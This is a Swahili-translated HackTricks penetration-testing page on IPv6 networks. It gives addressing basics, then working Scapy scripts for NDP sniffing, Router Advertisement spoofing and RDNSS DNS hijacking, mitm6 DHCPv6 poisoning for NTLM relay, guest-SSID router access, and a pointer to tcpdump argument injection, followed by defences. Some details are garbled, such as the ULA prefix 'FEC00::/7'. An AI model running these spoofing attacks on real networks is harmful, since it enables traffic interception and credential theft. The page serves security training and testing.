Pentesting IPv6
Reading time: 14 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
IPv6 Msingi wa Nadharia
Mitandao
Anwani za IPv6 zimeundwa ili kuboresha shirika la mtandao na mwingiliano wa vifaa. Anwani ya IPv6 imegawanywa katika:
- Mtindo wa Mtandao: Bits 48 za mwanzo, zinazoamua sehemu ya mtandao.
- ID ya Subnet: Bits 16 zinazofuata, zinazotumika kufafanua subnets maalum ndani ya mtandao.
- Kitambulisho cha Interface: Bits 64 za mwisho, zinazotambulisha kipekee kifaa ndani ya subnet.
Wakati IPv6 inakosa protokali ya ARP inayopatikana katika IPv4, inintroduce ICMPv6 yenye ujumbe kuu wawili:
- Ujumbe wa Kutafuta Majirani (NS): Ujumbe wa multicast kwa ajili ya kutatua anwani.
- Tangazo la Majirani (NA): Majibu ya unicast kwa NS au matangazo ya ghafla.
IPv6 pia inajumuisha aina maalum za anwani:
- Anwani ya Loopback (
::1
): Sawia na127.0.0.1
ya IPv4, kwa mawasiliano ya ndani ndani ya mwenyeji. - Anwani za Link-Local (
FE80::/10
): Kwa shughuli za mtandao wa ndani, si kwa usafirishaji wa intaneti. Vifaa kwenye mtandao wa ndani sawa vinaweza kugundua kila mmoja kwa kutumia safu hii.
Matumizi ya Vitendo ya IPv6 katika Amri za Mtandao
Ili kuingiliana na mitandao ya IPv6, unaweza kutumia amri mbalimbali:
- Ping Anwani za Link-Local: Angalia uwepo wa vifaa vya ndani kwa kutumia
ping6
. - Ugunduzi wa Majirani: Tumia
ip neigh
kuona vifaa vilivyogunduliwa kwenye safu ya kiunganishi. - alive6: Chombo mbadala cha kugundua vifaa kwenye mtandao sawa.
Hapa chini kuna mifano ya amri:
ping6 βI eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 anwani zinaweza kutolewa kutoka kwa anwani ya MAC ya kifaa kwa mawasiliano ya ndani. Hapa kuna mwongozo rahisi juu ya jinsi ya kupata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC inayojulikana, na muhtasari mfupi wa aina za anwani za IPv6 na mbinu za kugundua anwani za IPv6 ndani ya mtandao.
Kutoa Link-local IPv6 kutoka kwa Anwani ya MAC
Kutoa anwani ya MAC 12:34:56:78:9a:bc
, unaweza kujenga anwani ya Link-local IPv6 kama ifuatavyo:
- Geuza MAC kuwa muundo wa IPv6:
1234:5678:9abc
- Ongeza
fe80::
na wekafffe
katikati:fe80::1234:56ff:fe78:9abc
- Geuza bit ya saba kutoka kushoto, ukibadilisha
1234
kuwa1034
:fe80::1034:56ff:fe78:9abc
Aina za Anwani za IPv6
- Unique Local Address (ULA): Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa:
FEC00::/7
- Multicast Address: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa:
FF00::/8
- Anycast Address: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Sehemu ya
2000::/3
anuwai ya unicast ya kimataifa.
Kichwa cha Anwani
- fe80::/10: Anwani za Link-Local (sawa na 169.254.x.x)
- fc00::/7: Unique Local-Unicast (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
- 2000::/3: Global Unicast
- ff02::1: Multicast All Nodes
- ff02::2: Multicast Router Nodes
Kugundua Anwani za IPv6 ndani ya Mtandao
Njia 1: Kutumia Anwani za Link-local
- Pata anwani ya MAC ya kifaa ndani ya mtandao.
- Pata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC.
Njia 2: Kutumia Multicast
- Tuma ping kwa anwani ya multicast
ff02::1
ili kugundua anwani za IPv6 kwenye mtandao wa ndani.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
Mbinu kadhaa zipo za kutekeleza mashambulizi ya MitM katika mitandao ya IPv6, kama vile:
- Kupotosha matangazo ya jirani au router ya ICMPv6.
- Kutumia ujumbe wa ICMPv6 redirect au "Packet Too Big" kubadilisha routing.
- Kushambulia mobile IPv6 (kawaida inahitaji IPSec kuzuiliwa).
- Kuweka seva ya rogue DHCPv6.
Identifying IPv6 Addresses in the eild
Exploring Subdomains
Njia ya kupata subdomains ambazo zinaweza kuhusishwa na anwani za IPv6 inahusisha kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa swali kama ipv6.*
unaweza kuwa na ufanisi. Kwa haswa, amri ifuatayo ya utafutaji inaweza kutumika katika Google:
site:ipv6./
Kutumia Maswali ya DNS
Ili kubaini anwani za IPv6, aina fulani za rekodi za DNS zinaweza kuulizwa:
- AXFR: Inahitaji uhamisho kamili wa eneo, ikifichua aina mbalimbali za rekodi za DNS.
- AAAA: Inatafuta moja kwa moja anwani za IPv6.
- ANY: Swali pana linalorejesha rekodi zote za DNS zinazopatikana.
Kuchunguza kwa Ping6
Baada ya kubaini anwani za IPv6 zinazohusiana na shirika, zana ya ping6
inaweza kutumika kwa uchunguzi. Zana hii husaidia katika kutathmini majibu ya anwani za IPv6 zilizobainishwa, na inaweza pia kusaidia katika kugundua vifaa vya IPv6 vilivyo karibu.
Mbinu za Shambulio la Mtandao wa Mitaa wa IPv6
Sehemu zifuatazo zinashughulikia mashambulizi halisi ya layer-2 ya IPv6 ambayo yanaweza kutekelezwa ndani ya sehemu moja ya /64 bila kujua prefix yoyote ya kimataifa. Pakiti zote zilizoonyeshwa hapa chini ni link-local na husafiri tu kupitia swichi ya ndani, na kuifanya kuwa ngumu kugundulika katika mazingira mengi.
Kurekebisha Mfumo kwa Maabara Imara
Kabla ya kucheza na trafiki ya IPv6 inashauriwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
Kwa sababu kila mwenyeji wa IPv6 anajiunga kiotomatiki na vikundi vingi vya multicast (ff02::1
, ff02::2
, β¦) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kuchora ramani ya sehemu nzima bila kutuma pakiti hata moja. Mfuatano huu wa Python/Scapy unakusikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi na alama ya wakati ya nani ni nani:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 β '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Matokeo: muundo kamili wa link-local topology (MAC β IPv6) ndani ya sekunde chache, bila kuamsha mifumo ya IPS/IDS inayotegemea skana za moja kwa moja.
Router Advertisement (RA) Spoofing
IPv6 hosts zinategemea ICMPv6 Router Advertisements kwa ajili ya kugundua lango la chaguo. Ikiwa utaingiza RAs za uongo zaidi ya mara kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama lango.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Ili kweli kupeleka trafiki baada ya kushinda mbio:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Bendera za Matangazo ya Router (M/O) & Upendeleo wa Router wa Kawaida (Prf)
Bendera | Maana | Athari kwa Tabia ya Mteja |
---|---|---|
M (Usanidi wa Anwani Ulioendeshwa) | Wakati umewekwa kuwa 1 mwenyeji LAZIMA atumie DHCPv6 kupata anwani yake ya IPv6. | Usanidi wote unatoka kwa DHCPv6 β bora kwa uanzishaji wa mitm6 wa sumu. |
O (Usanidi Mwingine) | Wakati umewekwa kuwa 1 mwenyeji anapaswa kutumia DHCPv6 tu kupata habari nyingine (DNS, NTP, β¦). | Anwani bado kupitia SLAAC, lakini DNS inaweza kuharibiwa kwa DHCPv6. |
M=0 / O=0 | Mtandao wa SLAAC safi. | Njia za RA / RDNSS pekee ndizo zinazowezekana β DHCPv6 haitatumwa na wateja. |
M=1 / O=1 | Mazingira mchanganyiko. | DHCPv6 na SLAAC zote zinatumika; uso wa kudanganya ni mkubwa zaidi. |
Wakati wa pentest unaweza kuchunguza RA halali mara moja tu na kuamua ni vector ipi inayowezekana:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Tafuta uwanja wa flags [M,O]
katika dump β hakuna makisio yanayohitajika.
Uwanja wa Prf (Router Preference) ndani ya kichwa cha RA unadhibiti jinsi router yako ya uasi inavyoonekana kuvutia wakati gateway nyingi zipo:
Prf value | Binary | Meaning |
---|---|---|
High | 10 | Wateja wanapendelea router hii kuliko yoyote Medium/Low |
Medium (default) | 01 | Inatumika na karibu kila kifaa halali |
Low | 00 | Inachaguliwa tu wakati hakuna router bora zaidi |
Unapounda pakiti na Scapy unaweza kuipanga kupitia parameter ya prf
kama ilivyoonyeshwa hapo juu (prf=0x1
β High). Kuunganisha High Prf, kipindi kifupi, na muda usio sifuri kunafanya gateway yako ya uasi kuwa thabiti sana.
RDNSS (DNS) Spoofing kupitia RA
RFC 8106 inaruhusu kuongeza chaguo la Recursive DNS Server (RDNSS) ndani ya RA. Mfumo wa kisasa (Win 10 β₯1709, Win 11, macOS Big Sur, Linux systemd-resolved, β¦) kwa otomatiki unakubali hili:
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Clients will prepend your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a lifetime=0
revert.
DHCPv6 DNS Spoofing (mitm6)
Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea stateless DHCPv6 kwa ajili ya DNS. mitm6 inajibu kiotomatiki kwa ujumbe wa Solicit
kwa mtiririko wa Advertise β Reply ambao unateua anwani yako ya link-local kama DNS kwa sekunde 300. Hii inafungua:
- NTLM relay attacks (WPAD + DNS hijacking)
- Kukamata ufumbuzi wa majina ya ndani bila kugusa routers
Typical usage:
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
Ulinzi
- RA Guard / DHCPv6 Guard / ND Inspection kwenye swichi zinazodhibitiwa.
- Port ACLs zinazoruhusu tu MAC halali ya router kutuma RAs.
- Fuata RAs zenye kiwango cha juu zisizo thabiti au mabadiliko ya ghafla ya RDNSS.
- Kuzima IPv6 kwenye vifaa vya mwisho ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana β pendelea kuchuja L2 badala yake.
Ugunduzi wa Router wa NDP kwenye SSID za Wageni/Public na Ufunuo wa Huduma za Usimamizi
Router nyingi za watumiaji zinafunua daemons za usimamizi (HTTP(S), SSH/Telnet, TR-069, nk.) kwenye interfaces zote. Katika baadhi ya matumizi, SSID ya βwageni/publicβ imeunganishwa na WAN/core na ni ya IPv6 pekee. Hata kama IPv6 ya router inabadilika kila wakati inapoanzishwa, unaweza kujifunza kwa uhakika kwa kutumia NDP/ICMPv6 na kisha kuungana moja kwa moja na ndege ya usimamizi kutoka SSID ya wageni.
Mchakato wa kawaida kutoka kwa mteja aliyeunganishwa na SSID ya wageni/public:
- Gundua router kupitia ICMPv6 Router Solicitation kwa multicast ya All-Routers
ff02::2
na kamata Tangazo la Router (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RA inafichua anwani ya link-local ya router na mara nyingi anwani/prefix ya kimataifa. Ikiwa tu link-local inajulikana, kumbuka kwamba muunganisho lazima uonyeshe index ya eneo, e.g. ssh -6 admin@[fe80::1%wlan0]
.
Mbadala: tumia ndisc6 suite ikiwa inapatikana:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Fikia huduma zilizofichuliwa kupitia IPv6 kutoka SSID ya wageni:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- Ikiwa shell ya usimamizi inatoa zana za kukamata pakiti kupitia wrapper (mfano, tcpdump), angalia kwa ajili ya kuingizwa kwa hoja/jina la faili ambayo inaruhusu kupitisha bendera za ziada za tcpdump kama
-G/-W/-z
ili kufikia utekelezaji wa amri baada ya kugeuza. Tazama:
Ulinzi/maelezo:
- Usifunge usimamizi kwa madaraja ya wageni/public; tumia moto wa IPv6 kwenye madaraja ya SSID.
- Punguza kiwango na chujio NDP/RS/RA kwenye sehemu za wageni inapowezekana.
- Kwa huduma ambazo lazima zifikike, enforce authN/MFA na mipaka ya nguvu ya kiwango.
Marejeleo
- Legless β IPv6 Penetration Testing
- mitm6
- RFC 8106 β IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG β Full Exploit Chain
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.